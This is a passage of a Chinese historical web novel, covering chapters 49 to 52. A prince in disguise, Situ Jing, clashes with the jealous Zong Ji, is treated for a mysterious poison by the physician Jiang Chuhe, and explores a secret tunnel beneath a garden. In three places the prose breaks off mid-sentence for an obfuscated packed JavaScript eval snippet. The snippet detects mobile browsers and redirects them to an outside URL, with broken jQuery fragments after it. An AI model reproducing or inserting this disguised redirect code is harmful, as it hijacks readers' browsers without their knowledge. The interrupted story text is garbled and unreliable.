“唉……他不知道……”南樟有些泄气地摇头,道:“他只知道这件事儿是由王富安排,所以才会急于封口。其实吧……据他供述,原本没想将事情搞得如此麻烦,只是因为王富那时已被收监,若在牢中死于非命,必会招致巡按大人的调查,因而与他合谋的刘县尉始终不允,廖庆这才想法子激出王富的痫症,不留痕迹地铲除这个祸患。” “那刘亢呢?” “他更不知道!”南樟难掩轻蔑之色,“弋陵那个县尉刘亢就跟个傻子似的,什么神仙都乱拜一气,廖庆早知他是个迷信的主儿,本是为着自个儿的前程才拉拢他进那团伙,那个圣使根本没对他委以重任!” 这个情况同付昂暗中盯梢刘亢所得到的结果倒是一致。 司徒靖微微颔首,“刘亢那边,先放一放,暂时不要打草惊蛇。” 按照廖庆所言,此人对该组织内部的秘辛应当知之甚少,即便将其擒获也问不出什么有用的信息,倒不如加以利用,或许还有机会反客为主。 南樟立时领会,点头称是。 “你先探查那金莲圣使的踪迹,务必赶在付子攸之前,给本王找到她。” 此言一出,南樟霍然抬头。 “殿下?”疑问几乎是脱口而出。 他并非是在质疑命令,司徒靖向来思虑周全,做出如此决定必然事出有因,只是他想不通,付昂是巡按御史,手握官符,且已然派出兵马在搜寻那伙歹人的下落。而殿下微服在此,人手有限,又何苦绕过官府,重复做功? 莫非是不放心付昂? 还是说……有什么别的顾虑? 南樟话到嘴边,却在对上那双犹如寒潭般的墨色双眸时,又生生咽了下去。 “属下领命!”他抱拳道。 司徒靖不再看他,而是将视线挪向窗外,午后的阳光带着暖意,为青灰色的屋瓦镶上一层金边。 若现在动身,等回到医馆也快要傍晚了。 他一撩袍角,起身离开。 “您这是……” “回家。” 过去的这几天里,江楚禾几乎是连轴转地将县内病患治了个遍,今日出门就是去回访看看百姓都恢复的如何,算下时辰也该回归元堂了。 待司徒靖行至医馆的招牌之下,果然看见院门虚掩,里边还时不时传来有人走动的声音。 听上去应是练家子。 他心下一紧,快走两步将门一把推开。 一道陌生的颀长身影正立于厅堂之中,在听到动静的瞬间就转过身来。 该男子身穿一袭黑色劲装,本是武人夜行用以隐匿行踪的惯常装扮,但衣袂飘扬间隐约露出的绯红内搭却是惹眼至极。 他的肤色如蜜,线条硬朗,偏偏生着一双精致的凤眼,在似笑非笑时更是透着股妖冶之感,有如一朵盛开的阿芙蓉。 看着有毒,实际也是。 司徒靖的目光在他脸上停留不过一息,对方便冷哼一声,飞身袭来。 霎时间,一道寒光直冲面门。 49. 醋意 司徒靖身形疾退,袖中匕首被瞬间抽出,两刃相击,发出铮铮脆响,他定睛一瞧,这才看清对方左手所持兵器,竟是一把疡医惯用的柳叶刀。 莫非…… 他心生疑虑,将原本使出的反击之势骤然一收,身形也向后滑出一段,而后转为大开大合的乾坤步,以柔劲格挡攻势,辗转腾挪间袍袖翻飞,将两人的距离拉开数丈。 在这个过程中,司徒靖进一步验证了自己的猜测—— 对方攻势虽猛,却并无杀意,且从行动间可以看出,此人似乎对归元堂的布局颇为熟悉,总能巧妙避开一应陈设。 是青囊山庄的人。 “且慢。”他声音不高,却带着一股不容置疑的气势,“阁下不妨收手。你我之间,恐有误会。” 不料对方听后却攻势更甚,手中银刀霎时飞出,直射司徒靖的面门。 这一击气势猛烈、角度刁钻,如闪电般又快又狠。 司徒靖闻得破空之声,本能闪身避开,刀尖沿他耳侧堪堪飞过,去势不减,竟直冲院门而去。 正在此时,门扉洞开,宋福探出头来。 “阿福!闪开!” 江楚禾大喝一声,尚未离开院门衔环的右手猛一用力,“砰”地一声将门板又狠狠关上。 预想中木门被飞刀击中的震颤并未出现,此间一时无声,令得宋福的呼吸愈显急促。 “东……东家……这……咋……咋回事?” 他的脑子还懵着,但江楚禾可清醒得很。 “没事。”她镇定道:“就是你的好日子要到头了。” 说罢,江楚禾打开大门,冲里边高声喊道:“是什么风把师兄给吹来了?” 她这番话是对宗稷说的,但视线却毫不遮掩地投向一旁的黛紫色身影。 司徒靖将右手背在身后,用宽大的广袖掩着,看不出拿没拿兵器,神色瞧着也与平日里没有什么分别,仍是那般白净如玉、无悲无喜。 江楚禾见他不似受伤模样,心下稍安,这才看向院内的另一人。 这般眸光流转被宗稷尽收眼底,一阵火气“蹭”地蹿上心头。 他轻哼一声,话中带刺:“我再不过来,怕是你的归元堂都要有二掌柜了!” 听闻此言,江楚禾的脸上闪过一丝不快,但她并未立刻发作,而是强压愠怒,向正垂首立于旁边的少年药僮吩咐道:“阿福,别傻站着,快去将少庄主的屋子收拾出来。” 宗稷向来好洁,所住之处纤尘不染,即便他不在时,也要日日洒扫以免落灰,其实并没有什么值得“收拾”的地方。 江楚禾这么说,不过就是想支开宋福而已。 眼看少年药僮的身影终于消失在拐角处,她兜头便道:“一来就舞枪弄棒的,宗少庄主,你有毛病吧!” 宗稷原本还因险些误伤她而感到有些后怕和自责,被这么一呛,反倒理直气壮起来。 “我不过是突然见着家里有个脸生的男子闯入,担心来者不善,替你出手罢了!”他唇角一勾,噙着古怪的笑意,“禾儿……你这番话还真让人寒心……” “你少瞎扯!还闯入……咱们医馆开门做生意,前院来个陌生人再寻常不过,你见人就打,这是要替我赶客么?” “你怎知不是他先动的手?” “得了吧!人家又不像你……”疯狗似的逮谁咬谁! 江楚禾顾忌着青囊山庄的形象,愣是将后半句话生生咽下,但宗稷的态度却并未因她的“知礼懂事”而有所改善。 他阴阳怪气道:“真不知你俩是什么交情……竟还能生出这般信任,我说……你可别是让什么女儿家的小心思给迷了双眼……” 这话无凭无据,还酸得出奇,以江楚禾的性子本不该理会,可不知为何,她竟一反常态,急吼吼地辩解起来:“你少胡说八道!他只是我在兴京时认识的……一个朋友。” “朋友?呵……”宗稷冷笑一声,“彼时江、许两家突生变故,怎么不见这位‘朋友’出手相助?禾儿,你当年受了那么多苦,居然还轻信这些兴京的高门子弟,难道就不怕他日再着了道,也落得一个尸骨无存的下场吗?” 这一番话尖锐如刺,却似钝刀,狠狠扎进人的心里。 江楚禾两颊的红晕瞬间褪去,取而代之的是满面伤怀。 见她如此,司徒靖背在身后的右手下意识紧握成拳,掌心的柳叶刀又往伤口内进得更深几分,但身体的刺痛远不及心头愧怍那般令他难捱。 千言万语堵在胸口,却发不出任何音节。 傍晚西斜的日光打在江楚禾的侧脸,她长睫轻颤,晶亮的泪珠泛着莹莹金光。 “江九娘子……”司徒靖几乎是本能地抬起手。 “没事!”江楚禾仰起头眨眨眼,将眸中湿意尽数逼退,才又看向宗稷,“那件事儿和他又没关系,你拿人家瞎出什么气呢?” 说着,她顺势拉住司徒靖的长袖。 不想布料刚入手,竟发现一片濡湿。 江楚禾一怔。 “你受伤了?”她将广袖一把撩开,只见掌心的那片柳叶刀上满是他的血迹。 怪不得方才她等了半天,都没见有飞刀击中门板的动静。 江楚禾有些哭笑不得:“你傻不傻,直接用手去截?” “事发突然,我……” 如此慌乱,可不像他。 江楚禾来不及多想,拉起他就往内院的方向走,“快回屋!我给你包扎一下!” 看见这一幕,宗稷气不打一处来,三两步又追了上去。 “我才多久不在,归元堂就这般没有规矩了,什么人都给我往内院里带?” 听到这话,江楚禾刚压下去的怒气又蹿了出来。 她猛地转身,劈头就道:“宗稷,你这说的是哪里话?他对我有救命之恩,且与我相识多年,又不是什么乱七八糟的人,怎的就进不得内院儿了?你给我听着,如今是我邀请他在此处留宿,由不得旁人说三道四!” “旁人?”宗稷冷哼一声,“虽说名义上你是归元堂的东家,可这医馆到底是在替青囊山庄经营,我堂堂少庄主竟然连问都问不得了?禾儿,你别为个外人就坏了自家的规矩!” 此言一出,江楚禾怒火中烧,总算彻底撒开性子,朝宗稷嚷道:“哟!您还记着自个儿是青囊山庄的少庄主呐?眼下人正受着伤,您半晌都不让医治,搁这儿推三阻四的又是哪里来的规矩?这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979344|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忘了您自个儿的医者身份,还是不记得‘悬壶济世、泽被苍生’的先祖遗训了?” “你!” “师妹我跟您可不一样,我时刻谨记师门祖训,现在立刻就要去给他治疗,谁再耽搁,那就是枉顾病患性命,该当家法伺候!” 劈头盖脸的一通数落愣是训得宗稷哑口无言,他停顿几息,找补道:“那……你也不能随随便便就让外人住进内院吧,前边的病舍里又不是没有床榻……” 江楚禾觉得此人真是小气得离谱。 “他那屋的赁钱到时我付你便是,不过就仨瓜俩枣,有什么可计较的!” 说罢,她挽起司徒靖的胳膊,径直转身离开,只剩下宗稷一人在背后嘟嘟囔囔:“我是这个意思吗?还赁钱……我又没说要租给他……” 他的声音并不算大,但江楚禾还是听得一清二楚。 她脚步不停,头也没回地喊道:“那便让他与我同住一间吧!” 宗稷原当她是说气话,没想到江楚禾还真将人带进了自己的闺房。 他一阵气血上头,可又不敢往她屋里进,只好站在门口骂骂咧咧,直到江楚禾洗净手,做足上药的准备后,才终于听见西厢房传来大力摔门的声响。 “宗稷性情火爆,怒气上头时难免口不择言,方才若有冒犯之处,我替他向你赔个不是,你别怪罪他。” 她一边说着,一边捧起司徒靖的手,用布巾轻柔地擦拭着他的伤处。 “嗯。”他低低应声,以示自己并不在意。 不过几句言语攻击,司徒靖自然不会放在心上,唯有那人言行中流露出的亲昵放肆,才是令他心下酸苦的主要原因。 他喉头滚动,犹豫片刻后还是问起:“你与宗少庄主,很亲近么?” “嗯?”江楚禾不知他为何如此发问,愣了几息才回答:“还行吧,小时候我在青囊山庄开蒙,那会儿跟他一起受教,后来回到兴京就没什么来往了,直到五年前我回灵渊后才熟悉起来,怎么?” “没什么,只是看你二人……似乎很亲密。” “有……吗?”那还真是千古奇冤! 不知为何,江楚禾觉得这个误会必须得快点解除,忙对他道:“师父是家母的远房表兄,而宗稷又是师父的养子,于我而言犹如亲阿兄一般,自然要比旁人显得稍熟络些,其实也算不得有多亲近。” 可司徒靖听闻这话,非但没有放下心,反而更添几分警觉:“养子?所以……你同他并无亲缘关系?” 这下江楚禾是真不知该如何作答。 此事牵扯到青囊山庄庄主之位的传承规矩,是嫡传弟子才有资格知晓的秘密,她自然不能将其透露给外人,可不知为何,她又觉得自己应该解释给他听。 犹豫半晌,江楚禾只好含糊其辞道:“都是族亲,只不过关系没那么近罢了。” 对方听后微微颔首,没再说些什么,但眉心却一直蹙着,像是不大高兴的模样。 江楚禾觉得他能露出这番神色委实稀奇得紧,忍不住追问:“你到底怎么了?” 血痕被棕黄色的药粉层层覆盖,刺痛从掌心处蔓延开来,司徒靖垂眸看了半晌,才道:“我方才听他……唤你‘禾儿’。” 50. 绸缪 江楚禾怔愣一瞬,心道:就这?也值得大惊小怪的? 她轻笑一声,“那是家中长辈给我起的乳名,宗稷也是跟着我师父才这么叫的。” “嗯。”司徒靖低低应声。 她正低头为他的伤处抹着药,并未留意到他神色恹恹,只是自顾自地继续解释着。 “因为我闺名叫‘楚禾’,可幼年习字时觉得那个‘楚’字笔画太多,墨迹老是会混成一团,便总叫自个儿‘江禾’、‘江小禾’什么的。家人以为我是不喜欢那个‘楚’字,所以就一直叫我‘禾儿’了。” 原来,她更愿意被唤作“禾儿”。 那这五年中他在心底无数次的呼唤,恐怕都只是自己一厢情愿的冒犯。 司徒靖正如此想着,又听她道:“不过,经历这么多事之后,我可是越发喜欢那个‘楚’字了!话说……你知道是哪个字吗?” 此字用作女名也算常见,寻常人多是取其娇柔秀美之意,所谓“楚楚可爱”,引人垂怜;而江父当年则是看中其“草木丛生”的寓意,又因她生于春日,便取“楚禾”为名,意在“木禾繁茂、生机盎然”。 只不过江楚禾本人却对这个字有着另一番解读,迄今为止,还从未有人能够言中。 除了他。 “‘扬之水,不流束楚’。‘楚’乃‘牡荆’,枝干坚劲,向阳而生。” 坚韧不屈似她,意气昂扬亦似她。 江楚禾听后不免有些意外。 在怔愣片刻之后,她苦笑道:“可惜……如今我只能当‘江阿九’了。” 一字一句,敲击着他的内心。 司徒靖心头一酸,忍不住将那个曾在心中默念千万回的名字宣之于口。 “楚禾……” 话音未落,正在给他包扎的那双手悬空顿住。 “可以吗?” 他的嗓音低磁,带着一种难以言喻的郑重,和令人心慌意乱的温柔。 江楚禾不禁想起数日之前,也是在这里,在她的闺房,他曾这样专注地看着自己,低声问她:“那你将我当作什么?” 那时她挂心疫情,无暇思忖此事,现在想来,这样的语气和措辞,不似寻常问话,倒像是…… 江楚禾蓦地抬眼,视线径直撞上他的那双桃花眸,眼尾勾起的弧度和浅浅红晕,若放在旁人脸上,该是何等含情之态,可在他那身凛然气质的中和下,却显不出一丝轻浮,就连看向她的那道目光,也仍如读书论道时那般澄澈而专注。 定是自己想得太多。 他这样的人,怎可能是那种意思? 如此发问,应当只是朋友间无意识的亲近之举。 没错! 必是两人数度同历生死,并肩作战,这才生出些许有别于旁人的情谊。 江楚禾定了定神,强压下心中那丝悸动,故作镇定地回复:“随你,不过就是个称呼而已。” 话虽如此,两颊的热意却并未褪下分毫。 为掩饰自己的尴尬,她只得挂上那副专业的医者面孔,在包扎过后又自然地将指尖搭上他的腕脉。 这几日她忙着帮官府处理病患,还没工夫瞧他,现在看来,那不知名的毒物像是已蛰伏下去,也不知是不是要在下月十五再次给出一记重击。 江楚禾不免又回忆起上个月圆之夜,他在毒发之时的模样。 若非亲眼所见,她也很难想到,这般清冷自持的皎皎仙君,仿佛山崩于前亦绝不改色的世外高人,竟会痛得意识模糊,冷汗连连。 想起当夜的种种情状,江楚禾顿时觉得喉咙像被无形大手紧紧攥住,憋闷气窒,心痛难言。 一定要治好他! 她收回手,正色言道:“晚些时候让宗稷给你看看吧,他于毒物一道钻研颇深,懂得不少奇诡法门,在这方面确实比我厉害得多。” 眼下当着他的面,江楚禾并未夸大其词,可是在正主面前,这话就变成了“青囊山庄内专研毒物的第一圣手,在大梁无人能出其右”。 一番吹捧听得司徒靖都有些瞠目结舌。 要知道,不过几个时辰之前,这两人还是一副针锋相对的状态。 但宗稷对她这副翻脸如翻书的作派却似乎早就已经习以为常。 江楚禾是性情中人,在外虽多有顾忌,但私下里同亲友们的相处却是“喜怒形于色,好恶言于表”,将常人以为的处世陷阱尽数踩了个遍。 她对此自有一套歪理,用原话说便是“情志抑郁必致肝气瘀滞,久之定生大病”。 所以,她在与亲近之人私下交往时,一贯是秉承着“有话当面直说,有怨当场就报”的原则,同宗稷这个暴脾气的火药桶也算是臭味相投,两人每每混迹于一处,三不五时就会搞得鸡飞狗跳,但事后又会迅速重归于好。 果然,宗稷刚听她奉承几句就不再绷着脸。 他白眼一翻,假作嗔怒道:“哼!我还不知道你?有事师兄,无事宗稷,这般殷勤还不都是为了旁人……” 啧,真是怨气冲天! 江楚禾觉得他不光于毒学一道遥遥领先,恐怕在小心眼这方面也是首屈一指。 她扁扁嘴,道:“你这话说的……既是患者,哪儿还论得上什么旁人不旁人,师兄莫不是忘了咱青囊山庄的规矩?” 说到此处,江楚禾佯作痛心疾首状,摇头晃脑道:“门规有云,‘若有疾厄来求救者,不论亲疏,普同一等!’师兄,不论亲疏,普同一等啊!” 宗稷看她边说边捋着并不存在的胡须,大有师门那位堪称迂腐之最的教习夫子模样,登时脑仁发胀,赶紧叫停:“行了,行了!真是怕了你……我好生替他瞧瞧便是!” 他这么说着,唇边噙着一抹笑意,终于将三指搭上司徒靖的手腕。 然而不消三五息的工夫,宗稷的面色就又阴沉下去,“禾儿,早先你传书于我,称有个故交似乎身中‘五阳丹’之毒,说的就是此人?” 江楚禾点头。 此前她因在手边藏书中寻不到能与“五阳丹”配伍的其他毒物,便将此事托付给宗稷,希望他能借少庄主的身份去青囊山庄藏典阁翻阅禁.书,以探究竟。 谁想他竟这般上心,在收到消息后便立即动身赶来,重视之意可见一斑。 只不过,宗稷本人虽亲至弋陵,却并未带来任何古书秘籍,也不知究竟有没有查到什么。 见他半天不出声,她越等越觉得心里没底,忍不住问道:“怎么这么久啊……师兄你好歹说句话,到底行不行?” “不行。”言毕,宗稷便撤去手,从石凳上“歘”地起身。 这狗脾气怎么还随时随地犯病呢? 江楚禾一时摸不准他这是怎么个情况,追上去问:“师兄你……这是什么意思?” “此毒阴邪,甚是古怪,恕在下才疏学浅,辨不出具体何毒,亦不知如何可解,你们还是另请高明吧。” 说罢,他三两步就离开凉亭,头也不回地朝自己屋里走去。 “师兄,你好歹试试……” 江楚禾抬脚欲追,却被身侧之人一把握住手腕。 “罢了。你我早知此毒古怪,宗少庄主既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995148|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此说,想必已然尽力,便是逼他迫他也无法改变分毫。” “可你怎么办……” 它毕竟是毒,置之不理绝非长久之计,即便暂未伤及脏腑,光那每月的噬心之痛也够他喝一壶的。 想起他在十五那晚的憔悴模样,江楚禾不禁有些眼圈发红。 见她这般为自己挂心,司徒靖既是暗喜,又是不忍。 他宽慰道:“兴许……还有旁的法子。” “什么法子?” 一听此言,江楚禾立即振作,眼底波澜同桌上的点点灯火两相映照,闪耀着细碎的光。 司徒靖的视线在她脸上停留半晌,这才意识到自己的失态,垂下眼眸低声道:“若能找到制毒之人,或可解此困。” 话是没错,但那是你想找就能找到的? 江楚禾险些脱口而出:“你哄小孩儿呢!” 只是她刚瞪大杏眼,还没来得及张口,就又听得他道:“此番疫情与之亦有关联,或可顺藤摸瓜,寻其源头。” “真的?”江楚禾满脸急切,追问道:“你怎么发现的?可是廖庆有供出什么?” 司徒靖不置可否,只道:“此事,要多谢你。” “我?” “因为你根据阿姎所述,画出的那个图案。” 江楚禾立即领会,“先前袭击你的人,掌心也有一模一样的刺青?” 对方颔首,却被她一睨。 “还有呢?”江楚禾柳眉一挑。 毕竟荷花图样实在常见,尤其是在宁、越两州地界,无论高门大户还是乡里民间,人人都将其视为圣洁吉祥的化身,包含荷花元素的纹样恐怕有百十来个都不止,那枚绿荷瞧着虽有几分特别,但若仅凭这个就做出断言,绝非他的作风。 司徒靖知道瞒不过她,又道:“皆是绿眸,女子。” 江楚禾倒吸一口冷气。 “这么说……被黄家请去作法的那个巫女,很有可能就是袭击你的歹人!”说罢,她难掩遗憾之色,“可惜阿姎也记不得更多信息,我在疗伤时听她念叨‘福泽’什么还有什么‘渡厄’,原以为是哪个神秘组织的口号,可待她神思清明时再问,她却说自己全没印象,像是记忆缺少一块似的。” “无妨。”司徒靖直视她的双眼,语气诚恳至极,“你们已帮到许多,多谢。” 他这般模样,让有所隐瞒的江楚禾不免心生愧意,她犹豫片刻,压低声音道:“我可能还知道一些事,但你得先答应我,不能跟旁人说。” “嗯。” “任何人都不可以,包括付巡按,也包括……呃……就算是你回去之后,也不能告诉你们齐王……” 听到这话,司徒靖下意识又将拳头攥得更紧一些。 未几,他郑重承诺:“我答应你,此事除你我之外,不会再有任何人知晓。” 得了这话,江楚禾终于放下心,这才凑到他身边小声道:“之前当着付巡按,我没敢说……那些引发疫情的毒虫,恐怕是源自碧璆岛的蛊物。” 而后,她便将江润手稿中关于甘茅引蛊的记载一五一十地讲给他听,顺带还分享了不少在医典古籍中记载的蛊物知识,待两人各自回屋,天色已近深夜。 看着江楚禾屋里的点点微光终于变暗,宗稷冷着脸从窗边踱到桌前,昏黄的灯火映照着桌上的地图,他的目光自北门前的官道扫视一圈,在掠过东南部的废弃矿坑后,终于锁定在了西南那片环绕大半个弋陵的山脉。 瘴母岭。 南侧山脚之下,还有一行小字,曰:花圃,百年红。 51. 追踪 此时正值午后,天色却是阴沉沉的,为本就寂静无声的庭院更添几分萧索,唯有花圃南面那一片姹紫嫣红仍开得恣意。 司徒靖将视线转向东侧,那里是花圃工棚以及园主阮百年起居的处所,亦是他今日暗探的目的地。 他微一偏头,向南樟无声示意,紧接着两人便借着园中廊柱和高大乔木的遮掩,一前一后地潜行向东,遁入阴影之中。 司徒靖走到一处无人小院的门前,视线扫过院内景观,蓦地停下脚步。 此处瞧着虽是清静雅致,却毫无人居的烟火气,更重要的是,院内并无花草,却种着六棵槐树。 六乃极阴之数,而槐木又常被认为有引煞之效,阮百年是弋陵知名的园艺天才,怎会为自家院落的景观做出如此安排? 他顺着那片槐荫看向一旁,红柱灰瓦的八角凉亭静静立于树下,透着一股诡异的清寂和突兀之感,而头前那棵槐树边的木桩矮凳更为此般景致平添一股怪异。 司徒靖阔步走近,只见木桩底部的一圈泥土上隐约可见数道极其细微的弧形划痕,像是被旋转挪动时,因底座边缘的刮擦而留下的痕迹。 他看向南樟,后者即刻会意,两手扶着木桩侧面缓缓发力。 “咔哒,咔哒。”身后突然传来一阵机括声响。 两人循声去看,只见凉亭中央那几块原本严丝合缝的灰砖正缓缓向两侧滑开,露出一个恰能容一人通过的幽深黑洞。 南樟侧身潜入,正欲独自探查,围墙那侧突然传来一阵有序行进的步伐声,紧接着是中气十足的吆喝:“衙门办差!园内中人,速速现身!” 是官府的捕手来搜查花圃了。 司徒靖眉心一跳。 “晏安”这个身份极其尴尬,若被堵在此处,难免会落下一个擅闯民宅的罪名,虽说有付昂在,还不至于将他下狱,但却免不了要解释一番,届时节外生枝也是麻烦。 更何况,他之所以暗中前来,就是不想让付昂知晓自己同那金莲圣使的过往仇怨,毕竟他曾于西绝被囚的秘密需要掩盖,如今身中异毒的弱点更不可向旁人透露半分。 如此想着,他只得横下心,与南樟一同踏入脚下那片黑暗阴冷的未知之地。 随着机关按下,洞口渐渐合拢,将最后的一丝天光也隔绝在外,熟悉的窒息感很快就压得他喘不过气,耳内阵阵嗡鸣,连衙役们的交谈声也听不清楚。 司徒靖合起双眼,齿尖猛地用力,一丝腥甜伴随刺痛在口中蔓延开来,与此同时,常年修持的内观法门也强行运转,意守丹田,神光内照,将心神迅速收敛,再睁眼时,一切都恢复如常,但黑暗中那一下下略显急促的喘息还是将他的难捱暴露无遗。 “殿下?您……” 南樟话说一半,突然被按住手臂,是司徒靖在制止他出声,但已经太迟,几乎是在他唤出那个称呼的同时,地道深处也传来一声细微的动静,正是衣摆扫过石壁的“呲拉”声。 此处还有旁人! “追!”司徒靖低喝一声。 南樟如离弦之箭般直冲出去,他的夜视极佳,且感知敏锐,在不见天光的地道中倒是更有几分优势。 而司徒靖则紧随其后,以一枚夜明珠照亮前路,胸口的窒闷还没彻底散去,但他的步伐却并未慌乱分毫,很快便循着响动找到一脸错愕的南樟。 “奇怪……脚步声到这儿就断了……” 两人面前只有一堵结满青苔的石壁,通道似乎到这里便已是尽头。 司徒靖捻起地上的深色痕迹,不消几息就做出判断:“是血,很新鲜。” 南樟恍然大悟,“我说丫怎么跑一阵就没声儿了,指定是受了伤,眼下不知正偷偷猫在哪里呢!” 说着,他急切地在四周摸索起来。 而司徒靖却将目光牢牢锁在那面布满青苔的墙上,他举着手中明珠,视线从眼前的一片暗绿缓缓挪开,又看向身后他们来时经过的那条甬道,两侧石壁根处同样生有苔藓,但那些苔痕皆是斑驳而断续,最高不过半腿。 为何独独这一面却结满青苔? 司徒靖擎珠靠近墙面,与那层暗绿几乎只有寸余距离,甚至鼻息都能感受到它散发出的阴凉水汽,无论纹理还是颜色,甚至那种湿漉漉的、略显滑腻的质感,都与寻常苔藓没有区别。 可不知为何,他总觉得这东西不太对劲。 “殿下。” 听见身侧之人的低唤,他倏然回神。 “这边!”南樟将声音压得极低,但神色却难掩兴奋,“这儿有个墙缝……是个活门!” 司徒靖微微颔首,以手势示意他稍加等待,而后动作极快地从怀中摸出一块油纸。 这是江楚禾早上给他那块芝麻糖时所用的包装,糖已吃完,但糖纸却被他下意识保存起来,没想到这会儿还能派上用场。 他抽出袖中匕首,将墙面上的青苔刮下一块,包进油纸,重新塞进怀中,这才回到那道似有缝隙的石墙之前,修长的手指沿石壁一寸寸摸索,没过多久,就顺利找到一块略微有些活动的青砖。 两人对视一眼,各自做好准备。 随着机关的启动,石墙缓缓挪动开来,不过几息之后,便露出一个能容单人通过的门洞。 南樟双手各执一刀,闪身冲进黑暗之中。 出乎意料的是,密室里空无一人。 “安全。”南樟低声示意,但身体仍紧绷着,保持全力戒备的状态守在门边。 司徒靖随后踏入,用火折子点燃壁挂的油灯,然后借着那点光亮将密室内部扫视一圈。 此处占地不大,陈设简单,屋内并没有几件家具,除正对门口的一架小床和旁边的矮桌外,只剩紧挨左侧墙边的一排木制橱子,这东西他在江楚禾那儿天天都能见着。 是医馆用来分类存放草药的七星斗柜。 阮百年是个花匠,为何要在密室中放它? 带着这样的疑惑,司徒靖掌灯走到近前,指尖拂过柜面,未发现积灰,看来近期有人曾打理过。 他依次拉开抽屉。 第一个,空无一物,只余下草药的丝丝辛香。 第二个,也是同样。 接下来第三个、第四个……直到他将七排药斗挨个检查一遍,终于可以确定,里面的东西已被尽数清理干净。 司徒靖没有气馁,他将抽屉挨个取出,仔细检查着每一处夹缝,总算找到几缕干枯的植物根须和零碎的叶片,在夜明珠的光照下可以见得枯叶褶皱中还泛着赤红,应是它曾经的颜色,只是以他对草药的了解,还不足以辨别这几种植物的来历。 看来,此事还得依靠江楚禾。 见他对着手中之物沉默不语,南樟不禁好奇,“殿下,怎么,有发现?” “嗯。”司徒靖将药草包进帕子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998104|192645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,收入怀中,道:“东西被转移不久,气味还未散净,可见对方撤离虽急,却并不慌乱,应是早有准备。” “嗐!又晚一步!”南樟气得跺脚,“付巡按明明差人盯着刘亢来着,咋还是走漏消息,让这伙贼人给跑了呢?” “或与刘亢无关。” “您是指……几天前在义庄灭口之后又跑脱的贼人?” 司徒靖点头。 “说起这个事儿……殿下,那幅肖像属下已传回兴京,静远他们在查着了,不过……咱先前不是将京城那边儿都筛过一遍了,怎么还要查?莫不是,有什么新的消息,属下不知道?” “且看罢。” 为防先入为主会将他们引入歧途,司徒靖有意没将他和江楚禾的猜测提前告知,只给出了一个大致的探查方向,眼下身处地道,虽有点点灯火,胸中气窒却并未完全消除,自然更不愿费时多提此事,只得淡淡回复一句,然后就继续检查起密室中的墙壁来。 万幸,他很快就发现其中异常。 “这里。”修长两指在石砖上轻轻一点。 那里的石壁触感与周围略有差异,似乎更干燥一些,覆掌上去甚至还能感到一丝极其微弱的气流。 “有风!”南樟眼睛一亮,三两下便找到机关。 “咔哒。” 墙内传来轻微的机括响动,石壁上随之出现一个半人高的方洞,带着泥土与草木气息的凉风瞬间灌入室内。 “殿下,这像是个通气口。” 司徒靖走到近前,借着天光上下打量那个窄门,洞口不算太大,但足够一人屈身通过,甬道并非笔直向上,而是曲折弯斜的状态,内部还有不少可用来借力的凸起。 “从此处离开。” 南樟得令,毫不犹豫地钻入通道。 司徒靖也紧随其后,向上攀爬而去,通道不长,但却有些陡峭,好在两人武艺高强,不过片刻工夫,眼前便隐约出现一个出口,正被藤蔓遮挡得严严实实。 南樟撩开层叠的枝条向外探头看去,这才发现,通道的出口竟开在一处废弃枯井的中段井壁上,井口开阔,就在一棵巨大乔木的荫蔽之下,井底散落着凋零的残叶,还有几块可供踩踏的砖石。 他腰腹用力,正欲纵身一跃,却被一只大手生生拽住。 回头望去,齐王殿下正轻轻摇头。 寻常枯井即便干涸也会因降雨而存有积水,可此处井底干燥,还置有砖石,倒像是特意引人去踩似的,令司徒靖不得不多想。 见影卫伸出的右脚已然乖乖收回,他不多言语,而是拽着面前的粗藤嗖地跃起,随后腰身一拧,借着藤蔓的摆动之势向上甩起丈余,顺势攀上井口边沿,利落地翻上地面。 南樟也如法炮制,不过几息之间,两人已迅速隐入旁边的灌木丛中。 不远处的另一片花畦内,几名衙役正来回走动,像是在仔细搜寻着什么。 此地不宜久留。 司徒靖立即作出决定,他打出一个手势,而后便猫腰疾行,借着草木的掩护一路蹿至院墙脚下,如鹞鹰一般飞身跃出,稳稳落在墙外茂密的草丛里。 两人的动作皆是轻盈迅捷,几乎没有发出任何动静,而那几下不可避免的衣袂翻飞之声,则被由远及近的马蹄声堪堪盖过。 南樟看着车厢上挂着的灯笼,不禁发出轻啧,半疑半怨道:“怎么又是这家人儿?” 52. 枝节(上) 车内,黄舒窈正捧着一个画册看得出神,上边用细笔白描勾勒着几幅图样,旁边还用小字写着注释,其中双环髻配碧玉簪和桃花枝子的那页写着“春意满园”,高椎髻配素银发梳和木棉花的那页则写着“扶摇凌霄”,都是她特意设计的簪花造型。 